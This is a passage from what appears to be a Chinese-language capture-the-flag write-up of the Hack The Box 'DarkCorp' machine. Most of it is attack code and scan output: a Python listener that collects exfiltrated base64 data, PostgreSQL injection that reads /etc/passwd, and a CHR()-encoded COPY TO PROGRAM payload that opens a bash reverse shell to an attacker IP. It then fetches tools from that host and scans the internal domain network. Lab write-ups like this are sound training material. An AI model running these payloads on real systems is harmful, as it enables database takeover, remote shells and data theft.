$ nmap -sC -sV -Pn 10.10.11.54 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 13:30 CST Nmap scan report for 10.10.11.54 Host is up (0.23s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA) |_ 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519) 80/tcp open http nginx 1.22.1 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.22.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 139.27 seconds
# Headers for the POST request headers = { 'Host': 'drip.htb', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Origin': 'http://drip.htb', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Referer': 'http://drip.htb/index', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.9', 'Cookie': 'session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiNGFhNWFlNjRmMmQ4YWJkNTFjN2U4ZWEyODhmNjdiNzQ2MmIyNjY0YSJ9.Z6mM1Q.SGDZnbTJ7f5miJxHruNLwjD_fhI', 'Connection': 'close' }
# Function to send the POST request defsend_post(): response = requests.post(TARGET_URL, data=post_data, headers=headers) print(f"[+] POST Request Sent! Status Code: {response.status_code}")
# Custom HTTP request handler to capture and decode the incoming data classRequestHandler(BaseHTTPRequestHandler): defdo_GET(self): if'/c='in self.path: encoded_data = self.path.split('/c=')[1] decoded_data = base64.b64decode(encoded_data).decode('latin-1') # print(f"[+] Received data {decoded_data}") tree = html.fromstring(decoded_data)
# XPath query to find the div with id 'messagebody' message_body = tree.xpath('//div[@id="messagebody"]') # Check if the div exists and extract the content if message_body: # Extract inner text, preserving line breaks message_text = message_body[0].text_content().strip() print("[+] Extracted Message Body Content:\n") print(message_text) else: print("[!] No div with id 'messagebody' found.")
else: print("[!] Received request but no data found.")
deflog_message(self, format, *args): return# Suppress default logging
# Function to start the HTTP server defstart_server(): server_address = (LISTEN_IP, LISTEN_PORT) httpd = HTTPServer(server_address, RequestHandler) print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...") httpd.serve_forever()
# Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start()
# Send the POST request send_post()
# Keep the main thread alive to continue listening try: whileTrue: pass except KeyboardInterrupt: print("\n[+] Stopping server.")
dev-a3f1-01
测试搜索功能,随意输入得到报错,可以看到sql语句使用了我们的输入,可能存在sql注入:
sql注入
验证存在注入,并且可以识别出是PostgreSQL:
1 2 3 4
'aaa' or 1=1 'aaa' or 1=2
'aaa';SELECTversion()--
并且可以直接使用一些pg函数:
1
''; SELECT pg_read_file('/etc/passwd', 0, 1000);
sql to rce
pg可以直接执行命令,存在一些过滤,编码绕回即可:
1 2 3 4 5 6 7
'';DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1"'''; EXECUTE c; END $$;
wget http://10.10.14.8:7777/nmap-7.91SVN-x86_64-portable.tar.gz tar -xf nmap-7.91SVN-x86_64-portable.tar.gz
./run-nmap.sh -sC -sV 172.16.20.1 172.16.20.2
Starting Nmap 7.91SVN ( https://nmap.org ) at 2025-02-10 18:48 MST Nmap scan report for DC-01 (172.16.20.1) Host is up (0.00091s latency). Not shown: 985 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA) |_ 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519) 53/tcp open domain Simple DNS Plus 80/tcp open http nginx 1.22.1 |_http-server-header: nginx/1.22.1 |_http-title: Site doesn't have a title (text/html). 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-11 01:48:38Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp | Not valid before: 2025-01-22T12:09:55 |_Not valid after: 2124-12-29T12:09:55 |_ssl-date: 2025-02-11T01:49:57+00:00; 0s from scanner time. 443/tcp open ssl/http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server | ssl-cert: Subject: commonName=DARKCORP-DC-01-CA | Not valid before: 2024-12-29T23:24:10 |_Not valid after: 2034-12-29T23:34:10 |_ssl-date: 2025-02-11T01:49:57+00:00; 0s from scanner time. | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp | Not valid before: 2025-01-22T12:09:55 |_Not valid after: 2124-12-29T12:09:55 |_ssl-date: 2025-02-11T01:49:57+00:00; 0s from scanner time. 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp | Not valid before: 2025-01-22T12:09:55 |_Not valid after: 2124-12-29T12:09:55 |_ssl-date: 2025-02-11T01:49:57+00:00; 0s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp | Not valid before: 2025-01-22T12:09:55 |_Not valid after: 2124-12-29T12:09:55 |_ssl-date: 2025-02-11T01:49:57+00:00; 0s from scanner time. Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Nmap scan report for 172.16.20.2 Host is up (0.0026s latency). Not shown: 995 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5000/tcp open http Microsoft IIS httpd 10.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D | Negotiate |_ NTLM | http-ntlm-info: | Target_Name: darkcorp | NetBIOS_Domain_Name: darkcorp | NetBIOS_Computer_Name: WEB-01 | DNS_Domain_Name: darkcorp.htb | DNS_Computer_Name: WEB-01.darkcorp.htb | DNS_Tree_Name: darkcorp.htb |_ Product_Version: 10.0.20348 |_http-server-header: Microsoft-IIS/10.0 |_http-title: 401 - Unauthorized: Access is denied due to invalid credentials. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows